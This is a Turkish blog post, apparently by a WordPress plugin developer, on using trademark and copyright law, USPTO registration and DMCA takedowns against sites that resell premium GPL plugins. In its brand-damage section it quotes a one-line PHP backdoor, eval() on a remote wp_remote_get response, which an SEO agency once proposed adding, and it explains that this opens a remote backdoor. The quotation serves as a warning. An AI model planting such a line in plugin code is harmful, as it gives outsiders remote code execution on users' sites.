GPL WordPress Eklenti İşletmenizi Trollere Karşı Yasal Olarak Korumak için En İyi Kılavuz

Yazılım lisanslama konusu, özellikle açık kaynak dünyasında çok kafa karıştırıcı olabilir. Yasallık ve etik sınırları her zaman net değildir. Ancak işletme sahipleri WordPress GPL eklentileri satmaya odaklandığından, bu konuları iyice anlamak bizim görevimizdir.

Bu gönderi etik konusuna değinmeyecek ve yasal hususlara odaklanacaktır. WordPress işinizi eklenti 'trollerine' karşı korumak için, bu alandaki deneyimli avukatlardan gelen geri bildirimler de dahil olmak üzere size adım adım uygulanabilir bir formül sağlayacaktır.

Son beş yıldır bir eklenti geliştiricisi olarak, GPL'yi, özgürlüklerini ve GPL uyumlu bir işletme yürütmenin zorluklarını tartışan tonlarca makale okudum. Ancak son birkaç ayda bu konu benim için daha da önemli hale geldi.

Ağustos ayında WordPress Plugins (https://twitter.com/plugswp) isimli bir Twitter hesabı beni takip etti. Bir alışkanlık olarak, o kullanıcı hakkında daha fazla bilgi edinmek için profillerini kontrol ettim. Kısa süre sonra işleyicinin, kendisini "Ucuz Premium WordPress Eklentileri ve Temaları için 1 numaralı kaynak" olarak lanse eden bir eklentiler ve temalar "trol" olan "wppluginscheap.com" ile ilişkili olduğunu keşfettim. Sitede gezinirken Yoast SEO, Backup Buddy, WP Robot ve 50 premium tema gibi birçok popüler premium eklenti buldum. Her ürün 10 doların altına satıldı.

Saf olduğum gibi, WPChat'a atladım ve yeni bir konu başlattım:

Hepimiz, bir trolün ortaya çıkıp GPL eklentilerimizi / temalarımızı gülünç fiyatlara yeniden satacağı tehdidi altında kod yazıyoruz. Peki… burada Yoast Premium SEO'yu 4,00$'a almaya ne dersiniz… Bir gün ortaya çıkacağını bildiğim için biraz sinirliyim ve diğer yandan da eğlendim.

Topluluğa iki soru sordum:
1. Onu nasıl indirebiliriz?
2. Kendinizi tehdit altında hissediyor musunuz?

Paralel olarak Advanced WordPress Facebook grubuna gittim ve aşağıdaki durumu yükledim:

Joost de Valk ve Thomas Hofter, eklentilerinizi 10 doların altında satmaya başlamadıysanız, bence bu adamlar ticari markalarınızı (ve bir düzine başka eklenti geliştiricisini) ihlal ediyor. Nasıl indireceğiz?

AWP grubuna üye iseniz tüm konuyu buradan inceleyebilirsiniz.

Her iki başlık da büyük ilgi ve tartışma yarattı. WPChat'ta 17 yanıt ve AWP Facebook grubunda 84 yorum aldım. Cevaplar birikmeye başladığında, iki şeyin farkına vardım:
1. WordPress eklentisi / tema trolleri bir salgın – bu her yerde oluyor!

Bu, çoğunlukla temalar ve WooCommerce eklentileriyle birlikte UZUN süredir oluyor. gplclub.org ve sozot.com'a bakın. WPAvengers.com kapanmadan önce benzer bir şey yaptı.

– Leland Fiegel, WPChat'ın Kurucusu

2. GPL lisansının her yönü hakkında yüzlerce blog yazısı olmasına rağmen, ekosistemde hala çok fazla kafa karışıklığı var. Etkileyiciler arasında bile. Eklentiler ve temalar GPL kapsamında lisanslandığından, birçok kişi teknik olarak (etik olmasa da) bunu yapmanın uygun olduğunu düşünüyor gibi görünüyor.

Bu fırsatçılar ara sıra ortaya çıkıyor ve hiçbir zaman bir anlam ifade etmiyor gibi görünüyor. Yasal (zaten GPL kısmı) ama etik değil. Tembel. Ve müşteriler için kötü çünkü mallar şüpheli şekilde, modası geçmiş, desteklenmemiş ve şüpheli.

– Steven Gliebe, Tema Geliştiricisi ve Pro Eklenti Dizini Kurucusu

Etik değil, ancak GPL altında yayın yapan bir tema/eklenti dükkanı sahibi olarak şunu söyleyebilirim, bunu söyleyebiliyorsam o adamlardan daha da etik dışı olduğumu ve tam bir ikiyüzlü olduğumu hissediyorum.

– Ionut Neagu, CodeinWP'nin Kurucusu

Facebook'ta alınan diğer yorumlar şunları içeriyordu:

• Eklentiler GPL kapsamında lisanslanmışsa, korkarım hiçbir şey yapamazlar.
• Premium sürümlerin GPL kapsamında olduğunu sanmıyorum
• GPL kapsamında yasaldır

Ve bunlardan çok daha fazlası var!

Başlamadan önce, bir şeyi açıklığa kavuşturmama izin verin -

Bu tamamen yanlış!

Geliştiriciler, eklentileri bir açık kaynak lisansı altında dağıtılsa bile hala uygulanabilir haklara sahiptir.
Bu 'Eklenti Trolleri' hala ticari marka ihlali ve/veya telif hakkı ihlalinden sorumlu olabilir.

Bu trollerin işletmeye zarar vermediğine dair çok sayıda görüş okuduğumu da eklemek isterim. Eğer durum buysa, bu yazıyı derlemek için bu kadar zaman harcamak zahmetine girmezdim. Trollerin WordPress topluluğu için – işiniz ve ayrıca WordPress kullanıcıları için neden kötü olduğunun nedenlerini açıklama fırsatını değerlendirmek istiyorum.

Eklenti trolleri, eklenti işiniz için neden kötü?

Kayıp Gelirler

Beğenseniz de beğenmeseniz de, bir grup kullanıcı premium eklentinizi bu web sitelerinden satın alacak veya alacak. Özellikle WordPress yeni başlayanlar. WordPress ekosisteminde yeniysem ve bir SEO eklentisi arıyorsam, 4 dolarlık Yoast SEO tam fiyattan çok daha çekici geliyor. Sadece satın alırdım. Tıpkı bir akıllı telefon veya diğer ürünleri satın alırken her zaman en iyi indirimi aradığım gibi. Satın aldığım hiçbir üründe kullanmadığım için “orijinal garantiye” ihtiyacım yok, bu nedenle destek, kullanıcıların en başından beri aklında olan bir şey değil.

İstismarı Destekleyin

Trolden satın alınan eklentiyle ilgili herhangi bir sorun varsa - tahmin edin bunun için kim suçlanıyor? Tabii ki gerçek geliştirici/şirket. Markanızla ilişkilendirilen sanat eserinin replika olması durumunda müşteriler sizinle iletişime geçecektir. Tıpkı Amazon'dan bir HTC akıllı telefon satın aldığımda olduğu gibi, cihazla ilgili sorunlarım olduğunda Amazon'u değil HTC teknik desteğini ararım. Kullanıcıya ne söylersiniz? "Evet, bu bizim telefonumuz, ancak teknik destek için Amazon ile iletişime geçmeniz gerekiyor." Bu yanıtı bir kullanıcının sindirmesi zor olur Ürünlerinizin arkasında durmuyormuşsunuz gibi görünecektir.

Trolden satın alınan eklenti ile ilgili herhangi bir sorun varsa - tahmin edin bunun için kim suçlanıyor?Tweet

Marka Hasarı

Bazı trollerin eklentilere kötü amaçlı kod enjekte ettiğine şüphe yok. Bunu yapmak için ana teşvik, premium eklentileri ücretsiz olarak dağıtırken gelir elde etmektir. Buna kendim şahit oldum. İki yıl önce, BÜYÜK BK merkezli bir ajanstan (100'den fazla çalışan) kıdemli bir SEO uzmanı bana yaklaştı. . Eklentimize basit bir kod satırı ekleyerek benimle ortak olmayı teklif etti:
eval(wp_remote_get( 'http://www.company.com/path/to/api/endpoint/' )['body']);

Buradaki fikir, API uç noktasının, portföy şirketlerinin geri bağlantılarını zorlamak için gizli URL'leri döndürmesiydi. Gönderdiği örneklerden biri şuydu:

<a href="”http://www.portfolio-company.com”">Great Company</a>

Troller, orijinal markanızı kullanırken eklentilere kötü amaçlı kod enjekte edebilir, bu da markanıza doğrudan zarar verir!Tweet

Bu, Google Penguin'den önceydi ve harika bir SEO hilesiydi. Ve teklif de harikaydı – alan başına aylık 0.1$. Yani eklentimi kullanan 100.000 aktif alanım olsaydı, ayda 10.000 $ üretebilirdim. fazladan bir dakika harcamadan gelir. Harika değil mi? Açıkçası, bunu çeşitli nedenlerle yapmadık, çünkü öncelikle bu kod SON DERECE kötü niyetliydi. Site ile istediğiniz her şeyi yapmak için uzak bir arka kapı açar. Ajans sadece SEO için kullanmayı amaçlamış olsa bile, sunucuları saldırıya uğrarsa ve kötü niyetli biri kontrolü ele geçirirse ne olur? Kim bilir kaç tane meşru WordPress.org eklentisi bu ajansla ortak oldu… Trollere dönersek, niyetleri tamamen finansal. Premium eklentilerinizi eğlence için tanıtmıyorlar, para kazanmak istiyorlar. Ve telif hakkı ve ticari marka ihlali gibi yasa dışı şeyler yaparlarsa, kod enjeksiyonları gibi alternatif gelir akışları üretmelerini hiçbir şey durduramaz. Oh, ve söylemeyi unuttum, eğer böyle bir şey olursa, suçlanacak kişi sensin! Bu sizin ürününüz ve markanızdır.

Eklenti trolleri neden kullanıcılar için kötü?

Bahsettiğim aynı nedenlerden dolayı, ancak kullanıcının bakış açısından.

Destek yok

Teknik bir sorunla karşılaştığınızda, trol size yardımcı olamaz. Bu onların ürünü değil, kod veya ilgili sorunların nasıl çözüleceği hakkında hiçbir fikirleri yok. Üstelik bunu yapacak destek kaynaklarına da sahip değiller. Orijinal şirketle iletişime geçmeyi denerseniz, premium eklenti geliştiricileri müşterilerini takip edecek altyapıya sahiptir. Şirket, orijinal bir lisans satın alana kadar genellikle size yardımcı olmaz.

Eklentilerin yasa dışı yeniden dağıtıcıları teknik sorunlarda size yardımcı olamaz ve olmayacaktır.Tweet

Otomatik Güncelleme Yok

Bugün piyasadaki çoğu premium eklentinin bir lisanslama ve güncelleme mekanizması vardır (troller genellikle eklentiyi yeniden dağıtmadan önce bu kısmı 'hackler'). Bu otomatik güncelleme mekanizmasının çalışma şekli, eklentinin her 24 saatte bir, premium sürüm için herhangi bir güncelleme olup olmadığını görmek için orijinal şirketin sunucusunu kontrol etmesidir. Ayrıca bir lisans anahtarıyla kimlik doğrulaması yapar. Troll'ün eklentisine hiçbir zaman orijinal şirketten bir lisans anahtarı verilmediğinden, bu güncelleme mekanizması ÇALIŞMAZ. Bu nedenle, orijinal olmayan bir premium eklenti her yüklendiğinde otomatik güncelleme yapılmaz. Bu kötü bir şey çünkü bilgisayar korsanları sürekli olarak yeni yaratıcı güvenlik açıkları buluyor ve eski bir premium eklenti bu güvenlik sızıntısı olabilir.

Korsan WordPress eklentilerinin otomatik güncelleme mekanizması yoktur – sürekli güvenlik açığı!Tweet

Büyük Güvenlik Sızıntıları

Yukarıda bahsettiğim kötü niyetli bir kod satırını hatırlıyor musunuz? Sitenizin bilgisayar korsanlarına açık bir arka kapısı olmasını ister misiniz? Bu arka kapı, kelimenin tam anlamıyla bir bilgisayar korsanının sitenizdeki her pikseli ve içerik parçasını değiştirmesini sağlar. Ve bu sadece bir örnek, eminim başka birçok yaratıcı enjeksiyon vardır.

Açık kaynak lisansları neleri kapsar?

Geliştirici topluluğunda bu sorunlar hakkında çok fazla kafa karışıklığı olduğu için, Lowenstein Sandler LLP'de Fikri Mülkiyet (IP) (patentler, ticari markalar ve telif hakları) avukatları olan arkadaşım Ariel Reinitz ve meslektaşı Matthew Hintz'e ulaştım, New York'tan Palo Alto'ya kadar ofisleri olan ülke çapında bir firma.

Ariel bana, WP eklentisi 'trollerinin' teknik olarak bir açık kaynak lisansı (örneğin, GPL) altındaki kodu yeniden dağıtma hakkına sahip olabileceğini, ancak açık kaynak kapsamında olmayan başka fikri mülkiyet ('IP') haklarının da olduğunu açıkladı. bu 'trollerin' hala ihlal ediyor olabileceği lisans.

İşte Ariel'in GPL hakkında söyleyecekleri:

Çoğu WordPress eklentisinin altında dağıtıldığı açık kaynak lisansının (GPLv2) neleri kapsadığını (ve kapsamadığını) anlamak önemlidir:

Açık kaynak lisansı, yazılımın/kaynak kodunun nasıl dağıtılacağını belirler. Genel olarak, bu tür lisanslar herhangi birinin yazılımı/kodu ücretsiz olarak kullanmasına, değiştirmesine vb. izin verir. Böylece, açık kaynaklı bir projenin kaynak kodu, GPL şartlarını ihlal etmeden diğer taraflarca yeniden dağıtılabilir.

Basit bir deyişle - GPL özgürlüğü, herkesin kaynak kodunu almasına ve dağıtım dahil olmak üzere istediğini yapmasına izin verir. Toplumda bu konuda bir fikir birliği olduğuna inanıyorum.

Açık kaynak lisansları neleri kapsamaz?

Ancak, açık kaynak lisansları (GPLv2 dahil) genellikle ticari markaları kapsamaz . Ticari markalar, bir ürünün (ör. bir eklenti, tema, uygulama vb.) markalanma biçimiyle ilgilidir - örneğin, ürünün adı (ve/veya menşei olduğu şirket), sloganı/sloganı ve /veya logosu. Bu nedenle, bir projenin kaynak kodu bir açık kaynak lisansı altında serbestçe yeniden dağıtılabilir olsa da, böyle bir lisans başkalarına projeyle ilişkili ticari markalar (örn. ürünün adı, onu geliştiren şirket, vb.).

Avukat olmayan bir deyişle – GPL, ürünün adı, şirket adı ve logosu gibi eklentinin ticari markalarından hiçbirinin kullanılmasına izin vermez. Ariel bize bir örnek veriyor:

Bu nedenle, örneğin, bir üçüncü taraf, projenin tüm orijinal markasını kullanarak bir WordPress eklentisini yeniden dağıtırsa (örneğin, şirketin/projenin orijinal adı, logosu vb. ile tanıtılması), bu muhtemelen orijinal geliştiricinin ticari markasını ihlal eder. Haklar. Belirtildiği gibi, açık kaynak lisansı, bir başkasının markasını ticari bir bağlamda kullanmasına izin vermez. Bu önemlidir, çünkü marka hukukunun temel ilkelerinden biri, tüketiciyi bir ürünün nereden geldiği konusunda kafa karışıklığından korumaktır.

Marka hukukunun temel ilkeleri sadece işletmeyi korumak değil, tüketiciyi bir ürünün nereden geldiğine dair kafa karışıklığından korumaktır. Bu önemli not!

Birçok açık kaynak şirketinin ticari marka haklarını kaydettiğini, koruduğunu ve denetlediğini bilmek de önemlidir. Örnekler şunlardır: Linux , MySQL , Red Hat ve WordPress .

Ariel'in burada söylediği, açık kaynak alanındaki en büyük isimlerin çoğunun ticari marka haklarını koruduğu ve denetlediğidir. Neden biz de aynısını yapmayalım?

Red Hat ticari marka haklarını koruyabiliyor ve denetleyebiliyorsa, geliştiriciler neden eklenti yapamıyor?Tweet

Ariel, ticari marka haklarına ek olarak, geliştiricilerin ürettikleri ve kaynak kodunun parçası olmayan materyaller üzerinde telif hakkı koruması hakkına da sahip olduklarına dikkat çekti:

GPL'nin (ve diğer açık kaynak lisanslarının) yalnızca eklentinin kaynak kodunu kapsadığını bilmek de önemlidir. Ancak geliştirici, kaynak kodun parçası olmayan malzemeler (ör. grafikler, promosyon malzemeleri, ambalajlar vb.) oluşturursa, bu malzemeler GPL kapsamına girmez ve geliştiricinin başka bir tarafa izin verme yükümlülüğü olmaz. malzemeleri yeniden dağıtmak.

Örneğin, 'Yoast' eklentisinin yukarıda atıfta bulunulan bazı 'trol' sitelerinde nasıl öne çıktığına bir göz atın. Bu siteler teknik olarak Yoast'ın kaynak kodunu yeniden dağıtabilirken (GPL kapsamına girdiği için), bu siteler aynı zamanda Yoast'ın markası (örneğin, ticari markalar olan Yoast'ın adı ve logosu) ve tarafından geliştirilen diğer yaratıcı materyalleri de içerir. Yoast (örneğin, Yoast'ın kaynak kodunun bir parçası olmayan çay içen adamın grafiği ve dolayısıyla telif hakkı Yoast'a aittir ve GPL'ye tabi değildir).

Dolayısıyla – trol yasal olarak Yoast'ın kaynak kodunu yeniden dağıtma hakkına sahip olsa da, GPL (veya başka bir açık kaynak lisansı) onlara (a) Yoast'ın markasını (ticari markaları) veya (b) diğer grafikleri, materyalleri vb. kullanma hakkı vermez. ., (telif hakları) . Eklentinin kaynak kodunun bir parçası olmadıkları için bu öğeler GPL kapsamına girmez ve bu nedenle bu öğelere ilişkin fikri mülkiyet (IP) hakları yalnızca geliştiricinin mülkiyetindedir .

Eklenti 'trolleri' geliştiricinin ticari markalarını ve telif hakkıyla korunan materyallerini kullandığından (yukarıdaki 'Yoast' örneklerinde olduğu gibi), geliştiricilerin bu hakları uygulamak için kullanabileceği yasal prosedürler (aşağıda ayrıntılı olarak inceleyeceğimiz gibi) vardır. bu 'trollerin' işletmeniz üzerindeki etkisini durdurun, caydırın veya en azından sınırlamaya çalışın. Yine, eklentiniz GPL altında dağıtılsa bile bu doğrudur.

Ticari markalar tarafından korunan nedir?

Matthew, ticari markaların neleri kapsadığını açıklıyor:

Basitçe söylemek gerekirse, bir ticari marka, mal veya hizmetlerin kaynağını diğerlerinden ayıran tüketiciler için benzersiz bir tanımlayıcıdır. Çoğu zaman, bir ticari marka bir kelime, logo veya bu unsurların bir kombinasyonudur. Amerika Birleşik Devletleri'nde ticari marka hakları, Amerika Birleşik Devletleri Patent ve Ticari Marka Ofisi'ne (USPTO) kayıt yoluyla değil, ticarette ("ortak hukuk hakları" olarak adlandırılır) kullanımla başlar. Bununla birlikte, ticari markanızın USPTO'ya kaydı, mal sahibine genel hukuk haklarıyla sağlanamayan birçok avantaj sağlar. Özellikle, bunlar tescilde belirtilen mal veya hizmetlerle bağlantılı olarak tescil sahibinin bir markayı Amerika Birleşik Devletleri'nde münhasır kullanma hakkına dair kanıtları, tescil ettirenin ticari markanın sahibi olduğuna dair yapıcı bildirimi, USPTO'larda tescilin listesini içerir. çevrimiçi veritabanı ve sembolü kullanma yeteneği. (Kayıttan önce, bir ticari marka ile birlikte bir TM sembolü kullanılabilir.)

Kod bir ticari marka tarafından korunuyor mu?

Araştırmam sırasında, GPL lisanslı bir eklentiyi veya bir temayı çatallarken, işlev adının bir parçası olarak ticari markalı tanımlayıcıyı içeren hiçbir işlev olmadığından emin olmak için kodun yeniden düzenlenmesi gerektiğini belirten birkaç yazı okudum. Bunu açıklığa kavuşturmak için Matthew'a kodun ticari marka tarafından da korunup korunmadığını sordum ve işte cevap:

Kodun kendisi ticari marka tarafından korunmaz. Ticari markalar, bir tüketicinin mal veya hizmetlerinizle ilişkilendirdiği kelimeyi veya logoyu korur. Bir eklenti için ticari marka korumasının sınırı, eklentiyi tüketicilere pazarlamak için kullanılan kelime veya logo olacaktır. Ve sonra, ticari marka ihlali için temel test, tüketicilerin iki markanın benzerliği ile karıştırılıp karıştırılmayacağıdır. Benzerlik, görsel ve fonetik benzerlik, her bir marka için mal/hizmetlerin ne kadar yakından ilişkili olduğu, markaların ne kadar ayırt edici olduğu ve markaların ne kadar süredir kullanıldığına bakılarak değerlendirilir.

Cevabı geliştirici dostu bir dilde netleştirmek için:

• Sınıf adları, işlev adları, değişken adları ve sabit adları ticari marka tarafından korunmaz.
• Öte yandan, sayfaya yazdırılan ve son kullanıcılar tarafından görülebilen dizeler, ticari marka ile korunmaktadır.

Marka tescili nasıl yapılır?

Bir ticari markanın federal tescilinin avantajlarından yararlanmak için ticari markanızın USPTO'ya kayıtlı olması gerekir. Tescil başvurusu temel bilgileri içermelidir: başvuru sahibinin/sahibinin adı, marka, markanın birlikte kullanıldığı mal veya hizmetler, markanın bu mal veya hizmetlerle birlikte kullanıldığına dair kanıt ve bu markanın ilk kullanım tarihleri . Başvurunuzla ilgili hususlar:

• Aynı veya benzer markalar için USPTO'nun TESS (http://www.uspto.gov/trademark) veritabanında arama yapın. Aynı veya benzer markalar için başvuru yapılmışsa veya halihazırda tescil edilmişse, bunlar başvurunuzun reddedilmesi için temel teşkil edebilir. Ayrıca Google veya diğer arama hizmetleri aracılığıyla arama yapın, çünkü bir marka tescilsiz olarak kullanılabilir ve tescil etmenize rağmen o marka üzerinde üstün haklara sahip olabilir. Kayıt, önceki bir kullanıcının ticari marka haklarını tüketmez.
• Mallarınızı veya hizmetlerinizi açıklamak için, kabul edilebilir dil için USPTO'nun Kimlik Kılavuzunda arama yapın: http://tess2.uspto.gov/netahtml/tidm.html . TESS'te kabul edilebilir dili de arayabilirsiniz.
• Sınıflar, mal veya hizmetler için belirli alanlarla ilgili genel göstergelerdir. Örneğin, indirilebilir eklentiler genellikle tüm bilgisayar programlarını ve yazılımlarını kapsayan Sınıf 9'dadır.
• Bir marka başvurusu için ücretler sınıf sayısına göre belirlenir. Genel ücret sınıf başına 275 $'dır, ancak daha az ve daha pahalı dosyalama seçenekleri mevcuttur.

Bir başvuru yapıldıktan sonra, USPTO, markanın benzersiz bir tanımlayıcı olup olmadığını belirlemek için başvuruyu inceler (yani, daha önceki dosyalanmış başvurulara veya tescillere açıklayıcı veya kafa karıştırıcı bir şekilde benzer değildir). USPTO, başvurular için zaman çizelgeleri sağlar: http://www.uspto.gov/trademark/trademark-timelines/trademark-application-and-post-registration-process-timelines .

Ticari marka korumasının bölgesel olduğunu unutmayın. Örneğin, Amerika Birleşik Devletleri'nde bir tescil, Amerika Birleşik Devletleri'nde ticari marka koruması sağlayacaktır.

Matthew'un tanımladığı gibi, süreç mutlaka karmaşık değildir - ancak zaman ve çaba gerektirir. Bunu sizin için yapması için orta seviye bir avukata ödeme yapmanızı tavsiye ederim. Size zaman kazandıracak ve daha iyi bir uygulama sağlayacak olsa da, iş için size 200-2000 $ arasında bir maliyeti olacaktır. Her durumda, başlamadan önce Google it! Tam teriminizle/ifadenizle eşleşen bir ürün veya şirket (özellikle aynı veya benzer alanda) bulursanız, büyük bir olasılıkla ticari markayı kaydedemeyebilirsiniz (ve aslında başka birinin ticari markasını ihlal ediyor olabilirsiniz).

Ticari markanız ihlal edildiğinde ne yapmalı?

YAPMAMANIZ gereken şeyle başlayacağım - bu bir telif hakkı değil, ticari marka ihlaliyse, DMCA yayından kaldırma BAŞVURUSU YAPMAMALISINIZ.

DMCA YALNIZCA telif hakkı ihlalini kapsar. Ticari markalar için benzer bir hüküm mevcut değildir. Ticari marka iddiaları için DMCA yayından kaldırma bildirimlerinin kullanılması, davacının yanlış beyanlardan sorumlu olmasına neden olabilir.

Sorunları doğrudan web sitesi sahibiyle çözmeye çalışmak genellikle en basitidir. Bu başarısız olursa, web sitesi sahibine, ev sahibine vb. karşı yasal işlem başlatabilirsiniz. Aldığınız özel yaklaşım büyük olasılıkla duruma özel olacaktır ve bu noktada, özel durumunuzda en iyi seçeneği anlamak için bir avukatla iletişime geçmenizi öneririm. .

Telif hakları ile korunan nedir?

Telif hakkı ticari markadan farklıdır. Telif hakkı, bazı ifade ortamlarında sabitlenmiş orijinal yazarlık eserlerini korur. Bununla birlikte, telif hakkı korumasının bir sınırı, fikri değil, yalnızca ifadeyi kapsamasıdır. Telif hakkı korumasına yönelik eser kategorileri, diğer kategorilerin yanı sıra edebi eserleri (kitaplar, kodlar), müzik eserlerini, fotoğrafları ve görüntüleri, hareketli resimleri, ses kayıtlarını içerir. Diğer bir sınır, telif hakkının kısa ifadeleri veya ifadeleri korumamasıdır - bunlar, mal veya hizmetlerin kaynağını diğerlerinden ayıran tüketiciler için benzersiz tanımlayıcı olarak işlev gördükleri sürece ticari marka koruması için kalır.

Telif haklarınız ihlal edildiğinde ne yapmalısınız?

1. Başlangıçta, web sitesi sahibiyle doğrudan iletişim kurmaya çalışmak genellikle en basitidir. Çoğu durumda, web sitesi sahibi, avukat tutmak, yasal işlemlere dahil olmak vb. ile sizin ilgilendiğiniz kadar ilgilenmiyor. Sitede twitter hesabını, iletişim e-postasını veya iletişim sayfasını bulmaya çalışın ve kaldırılmasını talep eden bir mesaj gönderin. web sitesinden ticari markalı eklentiniz.
2. Yardımcı olmazsa, bir DMCA yayından kaldırma bildirimi gönderebilirsiniz (Dijital Binyıl Telif Hakkı Yasası). Bir tane oluşturmanıza yardımcı olacak bir sürü jeneratör var, sadece "dmca yayından kaldırma jeneratörü" için google. Bildirimi aldıktan sonra site sahibine, barındırma şirketine ve ISP'ye göndermeniz gerekir. Siteyi arama sonuçlarından çıkarmak için isteğe bağlı olarak arama motorlarına bir uyarı da gönderebilirsiniz. Hosting firmasını bulmak için whoishhostingthis.com gibi web sitelerini kullanabilirsiniz. ISP'yi bulmak için http://www.whoismyisp.org/ gibi web sitelerini kullanabilirsiniz. DMCA'yı ISP'ye / Hosting'e dosyalamak için ilgili bağlantıyı bulmak için ISP_NAME / HOSTING_NAME + DMCA için google.

Alternatif olarak, web sitesi sahibine, ev sahibine vb. karşı yasal işlem başlatabilirsiniz. Bunun sizin özel durumunuzda en iyi seçenek olup olmadığını anlamak için bir avukatla görüşmenizi öneririm.

Çözüm

Umarım bu adım adım talimatlar, GPL eklentileri işinizi trollere karşı korumak için doğru araçlarla sizi güçlendirmiştir. Sadece bir özet:

• Bir işletme sahibi olarak, uygunsunuz ve şirketinizin markasını ve varlıklarını korumalısınız.
• Ticari markalar ve telif hakları, eklenti işinizi yasal olarak korumanın nispeten ucuz ve etkili yollarıdır. Bu nedenle, şirketinizin adı ve ürün adları için ticari marka tescil ettirmeyi kesinlikle düşünmelisiniz.
• Birçok trol hem telif haklarını (örneğin tanıtım grafiklerinizi kaldırarak) hem de ticari markaları (marka adınızı kullanarak) ihlal eder. Benzersiz bir marka adı, logo ve sanat eseri oluşturarak telif hakkı ihlaliyle mücadeleye yardımcı olacak bir portföy oluşturursunuz.

Birçok trol hem telif haklarını hem de ticari markaları ihlal eder. Benzersiz bir marka adı, logo ve sanat eseri oluşturarak telif hakkı ihlaliyle mücadeleye yardımcı olacak bir portföy oluşturursunuz.Tweet

Bir üçüncü taraf web sitesi sizin izniniz olmadan premium GPL eklentinizi veya temanızı satılık veya eşantiyon olarak listeliyorsa:

• Web sitesi orijinal sanat eserinizi veya diğer materyalleri kullanıyorsa, bu muhtemelen telif hakkı ihlalidir. DMCA yayından kaldırma talebinde bulunabilirsiniz.
• Web sitesi şirketinizin veya ürününüzün ticari markasını kullanıyorsa, büyük olasılıkla ticari marka ihlalidir. Site hakkında yasal işlem başlatabilirsiniz.

GPL'nin yasal ve etik sonuçları hakkında ek düşünceleriniz varsa, bunları aşağıdaki yorumlarda paylaşmaktan çekinmeyin.

Harika referanslar:

• WP Migrate DB Pro'nun Çatalına Karşı DMCA Yayından Kaldırma Bildirimi Yayınlandı
• GPL Lisansı, Tescilli Ticari Markaları İhlal Etme Özgürlüğü Sağlamıyor
• WordPress GPL Suistimal Ediliyor mu?
• Neden GPL Lisanslı Kodu için Ödüyoruz?